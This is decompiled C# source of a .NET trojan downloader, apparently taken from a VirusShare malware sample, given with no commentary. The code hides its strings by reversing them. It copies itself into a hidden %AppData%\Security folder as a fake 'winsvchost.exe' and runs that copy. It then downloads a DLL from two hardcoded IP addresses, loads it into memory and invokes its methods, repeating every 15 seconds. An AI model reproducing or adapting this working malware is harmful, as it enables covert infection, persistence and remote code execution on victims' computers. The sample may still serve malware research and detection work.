// Decompiled with JetBrains decompiler
// Type: PotqCFUpqz
// Assembly: rgf3rgf, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 469966A3-6901-471E-B930-1C6B6C504DAF
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Downloader.MSIL.Small.fh-69886a275e629815555576c5be4095ae918448d0b01620b92928dc41ee53617b.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using My;
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Reflection;
using System.Threading;

[StandardModule]
internal sealed class PotqCFUpqz
{
  public static void ZmxSfTFgDCdLcOT()
  {
    string Left = "IFrgiweR";
    bool flag = false;
    if (Operators.CompareString(Left, "Fbgeqwil", false) != 0)
      return;
    flag = true;
  }

  public static string ElnJkpEziwVWwGS(string uOsRjJjuoH)
  {
    char[] charArray = uOsRjJjuoH.ToCharArray();
    Array.Reverse((Array) charArray);
    return new string(charArray);
  }

  [STAThread]
  public static void main()
  {
    try
    {
      if (!Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName.Contains(PotqCFUpqz.dbgRKRvJI() + PotqCFUpqz.ElnJkpEziwVWwGS("\\ytiruceS\\")))
      {
        if (!Directory.Exists(PotqCFUpqz.dbgRKRvJI() + PotqCFUpqz.ElnJkpEziwVWwGS("\\ytiruceS\\")))
          Directory.CreateDirectory(PotqCFUpqz.dbgRKRvJI() + PotqCFUpqz.ElnJkpEziwVWwGS("\\ytiruceS\\"));
        if (System.IO.File.Exists(PotqCFUpqz.dbgRKRvJI() + PotqCFUpqz.ElnJkpEziwVWwGS("exe.tsohcvsniw\\ytiruceS\\")))
        {
          try
          {
            System.IO.File.Delete(PotqCFUpqz.dbgRKRvJI() + PotqCFUpqz.ElnJkpEziwVWwGS("exe.tsohcvsniw\\ytiruceS\\"));
          }
          catch (Exception ex)
          {
            ProjectData.SetProjectError(ex);
            ProjectData.ClearProjectError();
          }
        }
        System.IO.File.Copy(Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName, PotqCFUpqz.dbgRKRvJI() + PotqCFUpqz.ElnJkpEziwVWwGS("exe.tsohcvsniw\\ytiruceS\\"));
        System.IO.File.SetAttributes(PotqCFUpqz.dbgRKRvJI() + PotqCFUpqz.ElnJkpEziwVWwGS("exe.tsohcvsniw\\ytiruceS\\"), FileAttributes.Hidden);
        new DirectoryInfo(PotqCFUpqz.dbgRKRvJI() + PotqCFUpqz.ElnJkpEziwVWwGS("ytiruceS\\")).Attributes = FileAttributes.Hidden;
        Interaction.Shell(PotqCFUpqz.dbgRKRvJI() + PotqCFUpqz.ElnJkpEziwVWwGS("exe.tsohcvsniw\\ytiruceS\\"));
        Process[] processes = Process.GetProcesses();
        int index = 0;
        while (index < processes.Length)
        {
          Process process = processes[index];
          if (Operators.CompareString(process.ProcessName, MyProject.Computer.FileSystem.GetName(Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName).Replace(PotqCFUpqz.ElnJkpEziwVWwGS("exe."), string.Empty).Replace(PotqCFUpqz.ElnJkpEziwVWwGS("EXE."), string.Empty), false) == 0)
          {
            try
            {
              process.Kill();
            }
            catch (Exception ex)
            {
              ProjectData.SetProjectError(ex);
              ProjectData.ClearProjectError();
            }
          }
          checked { ++index; }
        }
      }
      PotqCFUpqz.BhBHPEjstrwU(PotqCFUpqz.WvLDnVXrUZmxS(), PotqCFUpqz.ElnJkpEziwVWwGS("wifrgewYFgleifB.rjeyGjeyrgFgefGBi"), PotqCFUpqz.ElnJkpEziwVWwGS("WiIEWFgriewyRFGOwfGJ"), new object[1]
      {
        (object) "MSiA36AWkr8nn2yE6ib3va0GCKmkERLvTI5qi/YGa/m/fBC2BDXcNemzgCkd5QbclDdXCbDinTuex22HUz8tLTBJoH+ddBbGixatTYj42KhgrCYvrkHzQYbN+5Tw2EgAx1oCfm9TcWxusPyQV05qYo9ULY9grjfe80D9UzPXA+tZUrdcVckFps9+IjTXln2D"
      });
      new Thread(new ThreadStart(PotqCFUpqz.XtPotqCFUpq)).Start();
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      int num = (int) Interaction.MsgBox((object) ex.ToString());
      ProjectData.ClearProjectError();
    }
  }

  public static void BhBHPEjstrwU(
    byte[] aiMZYosu,
    string mMbTElnJkpEziwVW,
    string wGSuOsR,
    object[] jJjuoHpNwHN)
  {
    Assembly.Load(aiMZYosu).GetType(mMbTElnJkpEziwVW).GetMethod(wGSuOsR).Invoke((object) null, jJjuoHpNwHN);
  }

  public static void XtPotqCFUpq()
  {
    try
    {
      PotqCFUpqz.BhBHPEjstrwU(PotqCFUpqz.WvLDnVXrUZmxS(), PotqCFUpqz.ElnJkpEziwVWwGS("wifrgewYFgleifB.rjeyGjeyrgFgefGBi"), PotqCFUpqz.ElnJkpEziwVWwGS("IfyIEwfJEwvfyeiwVJIL"), new object[1]
      {
        (object) "Micosoft Windows"
      });
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    Thread.Sleep(15000);
    try
    {
      GC.Collect();
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    PotqCFUpqz.XtPotqCFUpq();
  }

  public static string dbgRKRvJI() => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);

  public static byte[] WvLDnVXrUZmxS()
  {
    WebClient webClient = new WebClient();
    byte[] numArray;
    try
    {
      numArray = webClient.DownloadData(PotqCFUpqz.ElnJkpEziwVWwGS("lld.2x/d/49.101.322.36//:ptth"));
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      numArray = webClient.DownloadData(PotqCFUpqz.ElnJkpEziwVWwGS("lld.2x/d/88.331.102.901//:ptth"));
      ProjectData.ClearProjectError();
    }
    return numArray;
  }
}
